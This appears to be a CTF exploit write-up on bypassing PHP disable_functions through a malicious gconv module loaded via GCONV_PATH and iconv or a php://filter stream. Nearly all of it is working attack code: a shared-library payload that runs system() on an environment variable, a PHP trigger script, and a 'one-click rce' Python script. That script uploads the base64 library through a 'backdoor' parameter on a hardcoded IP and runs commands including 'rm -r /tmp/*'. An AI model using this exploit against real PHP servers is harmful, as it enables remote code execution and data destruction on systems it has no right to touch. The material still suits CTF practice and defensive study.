# bypass diable_function with iconv ## env * default `ubuntu18.04` docker images with php installed. * arbitary php code execution while `putenv()` is not disabled. * docker environment: https://github.com/baiyecha404/CTFWEBchallenge/blob/master/bytectf2020/wallbreaker2020 ## exploit upload gconv module configuration file to `/tmp` `gconv-modules` ``` module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2 module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2 ``` upload dynamic library `payload.so` to `/tmp` `payload.c -> payload.so` ```bash gcc payload.c -o payload.so -shared -fPIC ``` payload.c ```c #include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { const char* cmdline = getenv("EVIL_CMDLINE"); system(cmdline); exit(0); } ``` execute exp.php ```php <?php putenv("GCONV_PATH=/tmp"); putenv("EVIL_CMDLINE=echo $(id) > /tmp/res"); iconv("payload", "UTF-8", "whatever"); ``` Done ## alternatives when `iconv()` is also disabled, you can use php filter to bypass it. simply replace `iconv` with following code can get the job done ```php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.payload.utf-8'); fwrite($fp, "byc_404"); fclose($fp); ``` ## script "one-click" rce ```python # coding: utf-8 # -**- author: byc_404 -**- import requests from base64 import b64encode as b64 url = 'http://120.27.246.202:8200/' payload_so = """f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AUAAAAAAABAAAAAAAAAAGAYAAAAAAAAAAAAAEAAOAAHAEAAHAAbAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AcAAAAAAADQBwAAAAAAAAAAIAAAAAAAAQAAAAYAAAAQDgAAAAAAABAOIAAAAAAAEA4gAAAAAAAoAgAAAAAAADACAAAAAAAAAAAgAAAAAAACAAAABgAAACAOAAAAAAAAIA4gAAAAAAAgDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAIB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AAAAACAAAAAAAAAAIAAAAAAAAAMsAAAAGAAAAAwAAAAAAAAAgDiAAAAAAACAOAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACCAAAAAQAAAAMAAAAAAAAA4A8gAAAAAADgDwAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1AAAAAEAAAADAAAAAAAAAAAQIAAAAAAAABAAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN0AAAABAAAAAwAAAAAAAAAwECAAAAAAADAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADjAAAACAAAAAMAAAAAAAAAOBAgAAAAAAA4EAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAOBAAAAAAAAApAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAGgQAAAAAAAAQAUAAAAAAAAaAAAAKgAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACoFQAAAAAAAMUBAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAbRcAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==""" gconv_modules="""module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2\nmodule INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2""" exp="""<?php putenv("GCONV_PATH=/tmp"); putenv("EVIL_CMDLINE=echo $(%s) > /tmp/res"); iconv("payload", "UTF-8", "byc_404"); """ # use it when iconv() is disabled exp_alternatives ="""<?php putenv("GCONV_PATH=/tmp"); putenv("EVIL_CMDLINE=echo $(%s) > /tmp/res"); $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.iconv.payload.utf-8'); fwrite($fp, "byc_404"); fclose($fp); """ def upload_so(): r = requests.post(url, data={'backdoor': """file_put_contents('/tmp/payload.so',base64_decode('%s'));echo 'OK';""" % payload_so}) if 'OK' not in r.text: return "[-] Upload payload.so Failed" return "[+] Successfully upload payload.so" def upload_gconv_modules(): r = requests.post(url, data={'backdoor': "file_put_contents('/tmp/gconv-modules','%s');echo 'OK';" % gconv_modules}) if 'OK' not in r.text: return "[-] Upload gconv_modules Failed" return "[+] Successfully upload gconv-modules" def rce(cmd): r = requests.post(url, data={'backdoor': "file_put_contents('/tmp/exp.php',base64_decode('%s'));echo 'OK';" % b64((exp_alternatives % cmd).encode()).decode()}) if 'OK' not in r.text: return "[-] Upload exp.php Failed" print("[+] Successfully upload exp.php") try: requests.post(url, data={"backdoor": "include('/tmp/exp.php');"}) except: pass r = requests.post(url, data={"backdoor": "include('/tmp/res');unlink('/tmp/res');"}) return r.text def main(): print(upload_so()) print(upload_gconv_modules()) print(rce('id'),rce('rm -r /tmp/*')) if __name__ == '__main__': main() ``` ## references https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80 https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/